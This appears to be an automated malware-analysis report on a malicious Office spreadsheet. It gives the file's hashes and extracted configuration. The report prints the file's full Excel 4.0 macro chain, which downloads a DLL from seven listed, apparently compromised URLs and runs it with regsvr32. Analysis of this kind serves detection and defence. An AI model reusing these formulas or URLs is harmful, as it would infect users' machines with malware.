General
-
Target
3c676032b55fd0583ebe2e22a00bafb811ae598a95c65fb6bfe53c94f04b4362
-
Size
21KB
-
MD5
ac78a11fd0ec22c7aca563ebb0ec4ba0
-
SHA1
e3940f134b70b2f187b0f3fb58554530b391bd86
-
SHA256
3c676032b55fd0583ebe2e22a00bafb811ae598a95c65fb6bfe53c94f04b4362
-
SHA512
117532c55ff7d053e40b50ef5b62fdbc2522d55d7deb8349d522bcc1ab33cd396bb143db3858da8391ba969fd8b9b965d50b4a7b9e00be07d5ba372772d23ff8
-
SSDEEP
384:5DfknuAi/NjA2S8EibbwBlwW5SYrLb5CzgObff9kC+xbX7sbEtF:14sN3zXuFCBn9kC+xbLb
Malware Config
Extracted
http://buchhave.net/cache/t82rF5S/
https://www.bellaitaliatour.com/gite/YcFHn/
http://brainora.com/brand/Xf7eDVe/
http://breustchabrierarchitectes.fr/bca/CW5pD/
https://biasikazan.hu/system/NZv3MZ0Kji27aPVe/
http://beta.orlandofoodtours.com/wp-content/uploads/mrJcJgcwH8p/
http://bestsafe.co.uk/cgi-bin/S29alEny/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://buchhave.net/cache/t82rF5S/","..\rfs.dll",0,0) =IF('PCWV'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.bellaitaliatour.com/gite/YcFHn/","..\rfs.dll",0,0)) =IF('PCWV'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://brainora.com/brand/Xf7eDVe/","..\rfs.dll",0,0)) =IF('PCWV'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://breustchabrierarchitectes.fr/bca/CW5pD/","..\rfs.dll",0,0)) =IF('PCWV'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://biasikazan.hu/system/NZv3MZ0Kji27aPVe/","..\rfs.dll",0,0)) =IF('PCWV'!G21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://beta.orlandofoodtours.com/wp-content/uploads/mrJcJgcwH8p/","..\rfs.dll",0,0)) =IF('PCWV'!G23<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bestsafe.co.uk/cgi-bin/S29alEny/","..\rfs.dll",0,0)) =IF('PCWV'!G25<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
3c676032b55fd0583ebe2e22a00bafb811ae598a95c65fb6bfe53c94f04b4362